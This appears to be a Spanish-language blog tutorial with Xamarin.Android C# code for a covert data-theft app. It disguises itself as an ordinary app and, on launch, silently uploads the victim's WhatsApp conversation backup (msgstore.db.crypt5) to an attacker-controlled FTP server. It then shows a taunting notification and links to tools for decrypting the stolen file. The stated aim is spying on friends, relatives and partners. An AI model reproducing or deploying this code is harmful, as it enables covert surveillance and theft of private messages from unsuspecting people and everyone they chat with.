Subir un archivo de base de datos de WhatsApp a un servidor FTP con Xamarin.Android


Creo que algo de lo que mas le intriga a la gente es el saber las conversaciones de amigos, familiares, compañeros de trabajo, parejas etc. etc. hoy les traigo algo CALIENTITO para que puedan hacer esto antes que nada recordarles ese viejo dicho que dice el que busca encuentra.

Empezamos generando un proyecto común y corriente de Xamarin.Android al cual le añadiremos unos simples metodos para hacer el trabajo sucio empezaremos con el metodo que nos genera un hilo el cual trabajara en background para subir el archivo sin que el usuario se de cuenta(Es importante configurar bien nuestras tres variables ftpHost=Dirección del ftp, ftpUser=Usuario del ftp y ftpPassword=Clave del usuario):

      void CargarBaseaFTP()
        {
            //Creamos un hilo independiente que trabaja asincronamente para que el usuario no sospeche la carga del archivo
            Task.Factory.StartNew(()=>{
                try
                {
                    //Tomamos el Id de Android para crear un archivo unico en el FTP
                    var device = Build.Device;
                    var id = Settings.Secure.GetString(Application.Context.ContentResolver, Settings.Secure.AndroidId);

                    //Cargar Url Base de Datos
                    //Tomamos el directorio de la SD
                    var path = Android.OS.Environment.ExternalStorageDirectory.AbsolutePath;
                    //Combinamos el directorio de la SD + el de WhatsApp
                    path = Path.Combine(path, "WhatsApp");
                    //Combinamos el directorio de WhatsApp con el de Databases que es donde se encuentra la base de datos
                    path = Path.Combine(path, "Databases");
                    //Combinamos el directorio de las bases de datos con el del archivo de conversaciones encriptado
                    //msgstore.db.crypt == a ultimo backup de conversaciones generado
                    //en esta direccion hay mas archivo en diferentes fechas que son respaldos anteriores de la base
                    path = Path.Combine(path, "msgstore.db.crypt5");

                    //Configurar FTP
                    string ftpHost     = "direccion";//"miftp.com"
                    string ftpUser     = "usuario";
                    string ftpPassword = "password";

                    //Direccion completa de donde quedaria hospedado la base da la victima
                    string ftpfullpath = "ftp://" + ftpHost + "/"+ id +"msgstore.db.crypt5";

                    //Generamos
                    FtpWebRequest ftp = (FtpWebRequest)FtpWebRequest.Create(ftpfullpath);

                    //Preparamos el ftp para recibir el archivo
                    ftp.Credentials = new NetworkCredential(ftpUser, ftpPassword);
                    ftp.KeepAlive = true;
                    ftp.UseBinary = true;
                    ftp.Method = WebRequestMethods.Ftp.UploadFile;

                    //Usamos magia negra para subir el archivo a nuestro
                    using (FileStream fs = File.OpenRead(path))
                    {
                        byte[] buffer = new byte[fs.Length];
                        fs.Read(buffer, 0, buffer.Length);
                        fs.Close();

                        Stream ftpstream = ftp.GetRequestStream();
                        ftpstream.Write(buffer, 0, buffer.Length);
                        ftpstream.Close();
                    }

                    //Agradecemos al usuario por su cooperación
                    createNotification("SORPRESA", "Muchas Gracias por tus conversaciones de WhatsApp");
                }
                catch(Exception ex)
                {
                    //En caso de algún error
                    createNotification("SORPRESA", "Te has salido con la tuya");
                }
            });
        }

Ahora les paso un snippet muy recomendable para generar una notificación de sistema al cual pasamos dos parámetros los cuales son el Titulo de la notification y la descripción o texto que mostraremos

      void createNotification(string title, string desc)
        {
            var notificationManager = GetSystemService (Context.NotificationService) as NotificationManager;
            var uiIntent = new Intent (this, typeof(MainActivity));
            var notification = new Notification (Android.Resource.Drawable.IcDialogInfo, title);
            notification.Flags = NotificationFlags.AutoCancel;
            notification.SetLatestEventInfo (this, title, desc, PendingIntent.GetActivity (this, 0, uiIntent, 0));
            notificationManager.Notify (1, notification);
        }

Listo ahora solo mandaremos a llamar el metodo CargarBaseaFTP() en el metodo OnCreate() y listo en cuestión de minutos o segundos dependiendo el peso de la base tendremos en nuestro ftp la base de whatsapp de nuestra victima 

protected override void OnCreate (Bundle bundle)
        {
            base.OnCreate (bundle);

            // Set our view from the "main" layout resource
            SetContentView (Resource.Layout.Main);

            // Get our button from the layout resource,
            // and attach an event to it
            Button button = FindViewById<Button> (Resource.Id.myButton);


            button.Click += delegate {
                Toast.MakeText(this, "Hola", ToastLength.Short);
            };


            CargarBaseaFTP ();
        } 

Ahora tenemos como resultado esto

UNA APP COMUN Y CORRIENTE


LANZAMOS UN MSJ AL USUARIO


REVISAMOS EN NUESTRO FTP AHORA YA TENEMOS LA BASE DE LA VICTIMA



Pueden bajar desde mi github el ejemplo completo

https://github.com/AlejandroRuiz/Mono/tree/master/UploadWhatsAppData

Si quieren desencriptar la base obtenida les dejo como referencia esto que les ayudara mucho

http://forum.xda-developers.com/showthread.php?t=1583021

http://www.digitalinternals.com/279/20140330/decrypt-whatsapp-crypt5-database-messages/ 

https://github.com/aramosf/pwncrypt5/blob/master/pwncrypt5.py

http://www.indetectables.net/viewtopic.php?f=12&t=49510

NOTA: YA SABEN CON EL CONOCIMIENTO VIENE RESPONSABILIDAD ASI QUE USENLO BAJO SU PROPIO RIESGO.


Les dejo algo de buena musica para que se relajen.

Comentarios

Entradas populares de este blog

Bluetooth Arduino + Xamarin.Android

Simple ListView with Xamarin.Forms

Xamarin.Forms: Get native image from ImageSource